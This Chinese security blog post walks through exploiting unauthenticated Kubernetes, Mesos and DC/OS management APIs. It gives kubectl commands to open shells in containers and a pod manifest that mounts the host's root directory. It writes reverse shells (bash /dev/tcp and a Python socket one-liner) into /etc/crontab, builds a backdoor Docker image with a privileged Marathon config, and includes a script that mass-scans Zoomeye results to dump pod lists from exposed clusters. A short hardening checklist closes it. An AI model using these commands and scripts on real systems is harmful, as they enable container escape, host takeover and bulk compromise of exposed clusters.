0x00 前言
随着大数据时代的到来,容器化技术(Containerization)运用地越来越广泛,容器集群管理平台也应运而生。
当前主流的容器集群管理技术,包括 Docker 官方的 Docker Swarm
、Apache 的 Mesos
和 Google 的 Kubernetes
。
其中 Docker Swarm 使用了 Docker 原生的标准 API 来管理容器,另外的 Mesos 和 Kubernetes 都采用了自己的实现方式。
大家或许还记得之前影响广泛的 Docker Remote API
(2375 端口)未授权漏洞,那么其他的容器管理平台是否也会存在类似的问题呢?
0x01 Kubernetes
根据官方文档,API Server 默认会开启两个端口:8080
和 6443
。
其中 8080 端口无需认证,应该仅用于测试。6443 端口需要认证,且有 TLS 保护。
直接访问 8080 端口会返回可用的 API 列表,如:
{
"paths": [
"/api",
"/api/v1",
"/apis",
"/apis/extensions",
"/apis/extensions/v1beta1",
"/healthz",
"/healthz/ping",
"/logs/",
"/metrics",
"/resetMetrics",
"/swagger-ui/",
"/swaggerapi/",
"/ui/",
"/version"
]
}
而直接访问 6443 端口会提示无权限:User "system:anonymous" cannot get at the cluster scope.
在 Zoomeye 搜索:metrics healthz
,可以看到使用 Kubernetes 最多是中国
和美国
。
其中 443 和 8443 端口几乎都是 OpenShift Origin
,一个基于 Kubernetes 的企业版容器管理平台,默认需要认证。
访问 /ui
会跳转到 dashboard
页面,可以创建、修改、删除容器,查看日志等。
Kubernetes 官方提供了一个命令行工具 kubectl。使用 kubectl
不仅能完成图形界面上的操作,还有个特殊的功能——在容器中执行命令,类似 docker
里的 exec
。
// 获得所有节点
> kubectl -s http://1.2.3.4:8080/ get nodes
// 获得所有容器
> kubectl -s http://1.2.3.4:8080/ get pods --all-namespaces=true
// 在 myapp 容器获得一个交互式 shell
> kubectl -s http://1.2.3.4:8080/ --namespace=default exec -it myapp bash
当然,如果可以控制容器的运行,我们也可以尝试获取宿主机(即 nodes
)的权限。
参考 Docker Remote API 未授权访问漏洞利用,流程大体为创建新的容器 -> 挂载宿主机目录 -> 写 /etc/crontab
定时任务反弹 shell。
根据 Kubernetes 文档中挂载节点目录的例子,可以写一个 myapp.yaml
,将节点的根目录挂载到容器的 /mnt
目录。
apiVersion: v1
kind: Pod
metadata:
name: myapp
spec:
containers:
- image: nginx
name: test-container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
然后使用 kubectl 创建容器:
// 由 myapp.yaml 创建容器
> kubectl -s http://1.2.3.4:8080/ create -f myapp.yaml
// 等待容器创建完成
// 获得 myapp 的交互式 shell
> kubectl -s http://1.2.3.4:8080/ --namespace=default exec -it myapp bash
// 向 crontab 写入反弹 shell 的定时任务
> echo -e "* * * * * root bash -i >& /dev/tcp/127.0.0.1/8888 0>&1\n" >> /mnt/etc/crontab
// 也可以用 python 反弹 shell
> echo -e "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /mnt/etc/crontab
稍等片刻接收到反弹的 shell:
0x02 Mesos
根据官方文档,Mesos master
默认监听 5050
端口。
Mesos 主界面:
Mesos 的 API 可参考 HTTP Endpoints。
比较有用的一个 API 是 /flags
,可以查看系统的配置情况,包括是否开启权限认证。
Mesos 从 1.2
版开始才有了 exec 进入容器的功能:Mesos Support for Container Attach and Container Exec。
值得吐槽的是 Mesos 的命令行工具居然没有文档,原因是 CLI 依然有很多功能缺失需要重构:A full redesign of the Mesos CLI。好在有一个 Design Doc: Mesos CLI 可供参考。
又因为没有一个专门的 Mesos CLI 工具,唯一的一个 mesosphere/mesos-cli 也有两年没更新了,所以只能安装 Mesos 来使用命令行。
在 Ubuntu 16.04
下安装:
// 添加源
> cat << EOF >> /etc/apt/sources.list.d/mesosphere.list
deb http://repos.mesosphere.com/ubuntu xenial main
EOF
// 更新
> apt-get update
// 如果出现签名问题需要导入 public key
// > apt-key adv --keyserver keyserver.ubuntu.com --recv-keys DF7D54CBE56151BF
// 安装 mesos
> apt-get -y install mesos
安装完成后可以对 Agent
下发任务执行命令(Mesos 版本均为 1.3):
// 设置目标 URL
> mesos config master 1.2.3.4:5050
// 列出正在运行的容器
> mesos ps
// 执行命令(无回显)
> mesos execute --master=1.2.3.4:5050 --name=test --command='curl 127.0.0.1/`hostname`'
可惜在 Docker Volume Support in Mesos Containerizer 中未能找到挂载宿主机(Agent)目录的办法,所以无法逃出沙箱获得宿主机权限。
0x03 DCOS
Mesosphere DCOS
是基于 Apache Mesos 的商业化版本。
根据官方文档,API Router
的默认端口是 80
(HTTP)和443
(HTTPS)。
DCOS 主界面:
相比于 Mesos,DCOS 的对应 API 前多了 /mesos/
,如在 Mesos 中查看版本号是 /version
,在 DCOS 中则是 /mesos/version
。
访问 /dcos-metadata/dcos-version.json
可查看 DCOS 的版本号。
访问 /exhibitor/
是 DCOS 自带的 Zookeeper
管理工具:
访问 /marathon/
是自带的框架(Framework) Marathon
:
DCOS 提供了一个强大的命令行工具,和 Kubernetes 的类似,也可以进入容器执行命令。
参考 Using dcos task exec,测试一下执行命令(DCOS v1.6.1,DCOS CLI v1.9):
// 设置目标 URL
> dcos config set core.dcos_url http://1.2.3.4
// 根据文档创建一个描述文件
> dcos marathon app add my-app.json
// 在执行 my-app 执行 hostname 命令
> dcos task exec my-app hostname
No container found for the specified task. It might still be spinning up. Please try again.
// 添加一个任务
> dcos job add my-job.json
DC/OS backend does not support metronome capabilities in this version. Must be DC/OS >= 1.8
居然不能在 my-app
执行命令,可能是 DCOS 版本过低所致,那如果运行一个 Docker 容器呢:
> dcos task exec my-docker hostname
This command is only supported for tasks launched by the Universal Container Runtime (UCR).
根据 Universal Container Runtime (UCR),container type
需要指定为 MESOS
才能执行命令,但 UCR 是有限制的:
The UCR does not support the following: runtime privileges, Docker options, force pull, named ports, numbered ports, bridge networking, port mapping, private registries with container authentication.
所以如果使用 UCR 的话,Docker 将无法挂载外部目录。而如果使用已有的 Docker 基础镜像的话,无法执行我们需要的命令。
想了一下可以用构建自己 Docker 镜像的方法绕过。
参考 Deploying a Docker-based Service,去 https://hub.docker.com 注册一个账号,假设用户名为 test
,创建一个公开的 Repository: backdoor
。
编写 Dockerfile
:
FROM alpine
# 容器启动时执行命令
CMD echo -e "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /mnt/etc/crontab
构建 Docker 镜像并推送到 Docker hub:
> docker build -t test/backdoor .
> docker login
> docker push test/backdoor
写配置文件,使用 backdoor
镜像且挂载宿主机根目录到 /mnt
:
{
"id": "backdoor",
"container": {
"type": "DOCKER",
"volumes": [
{
"containerPath": "/mnt",
"hostPath": "/",
"mode": "RW"
}
],
"docker": {
"image": "test/backdoor",
"network": "BRIDGE",
"privileged": true
}
},
"acceptedResourceRoles": ["slave_public"],
"instances": 1,
"cpus": 1,
"mem": 1024
}
最后添加容器到 Marathon:dcos marathon app add backdoor.json
。
稍等片刻获得反弹的 shell:
0x04 批量验证
以 Kubernetes 为例,用 POC-T 可以很方便地从 Zoomeye
的 API 获取数据并进行验证。写一个插件试试:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = Oritz
"""
Kubernetes api 未授权访问
需要安装 kubectl
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.6.1/bin/linux/amd64/kubectl
chmod +x ./kubectl
sudo mv ./kubectl /usr/local/bin/kubectl
Usage:
python POC-T.py -s kubernetes-unauth -aZ "healthz metrics country:cn" --limit 1000
"""
import subprocess
import requests
from plugin.useragent import firefox
def poc(url):
if '://' not in url:
url = 'http://' + url
if '443' in url:
url = url.replace('http:', 'https:')
try:
g = requests.get(url, headers={'User-Agent': firefox()}, timeout=3, verify=False)
if g.status_code is 200 and 'healthz' in g.content and 'metrics' in g.content:
pods = subprocess.Popen("kubectl -s %s get pods --all-namespaces=true -o=wide" % url,
stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=open("/dev/null", "w"), shell=True)
output = pods.communicate()[0].decode("utf-8")
if "Please enter Username" not in output and "Error from server" not in output:
with open("k8s.txt", "a") as f:
f.write(url + "\n" + output + "\n")
return url
except Exception:
pass
return False
部分结果放在了 gist 上:k8s.cn.txt
0x05 偶遇挖矿
在研究过程中发现了部分未授权的 DCOS 被用来挖矿,如查看 DCOS 的任务日志:
在 Zookeeper 的任务配置里也可以看到:
图中的命令和常见的批量扫描主机漏洞并植入挖矿软件的程序很像,所以不大可能是管理员自己运行的。
不过查了一下 Github 上其实早就有开源的基于 Mesos 的分布式比特币挖矿程序了,因为容器管理平台的资源一般都很充裕,可能会成为矿工们的新目标。
0x06 总结
文中主要介绍了 Kubernetes 和 Mesos 未授权漏洞的利用方式和获得宿主机权限的攻击方式。容器管理平台未授权访问不仅会泄露容器中的代码、数据库等敏感文件,还有可能导致宿主机被控制进入内网,产生更大的危害。
参考 Security Best Practices for Kubernetes Deployment,在安装和运行容器管理平台时,遵循以下几点可提高安全性:
- 配置防火墙,禁止敏感端口对外开放
- 对管理端口加上认证
- 使用安全的镜像(私有镜像仓库)
- 设置容器资源限额
- 容器以非 root 用户运行
文中还有两个问题没有解决:
- Apache Mesos 如何挂载宿主机目录
- DCOS 在容器中执行命令是否有更好的方式
如果有意见和建议,欢迎提出。
0x07 参考
Update 2017/07/07
查找 Docker 相关漏洞时在 exploit-db
发现已有对 DC/OS Marathon UI
的攻击程序:
相关文章见:Compromise A DCOS Server Through A Docker Container,大意是 Marathon 的默认端口 8080 未授权验证可被利用,攻击方法和本文中提到的类似。
不过该 exploit 在配置文件中使用了 cmd
来执行命令,无需构建自己的后门镜像,比较方便:
这可以回答之前的 DCOS 在容器中执行命令是否有更好的方式
的疑问,另外也可以解释大量 DCOS 被入侵用来挖矿的原因。
因为被用来挖矿的容器配置与 exploit 中非常类似,创建时间也在 exploit 被公布后,可以判断有人利用该漏洞大量扫描:
至于 Apache Mesos 如何挂载宿主机目录
这个问题,我想到可以通过另外的方式获取宿主机权限而非拘泥于挂载目录,具体方法有时间再写。
感谢分享!已推荐到《开发者头条》:https://toutiao.io/posts/6yx5bs 欢迎点赞支持!
欢迎订阅《安全屋》https://toutiao.io/subjects/27565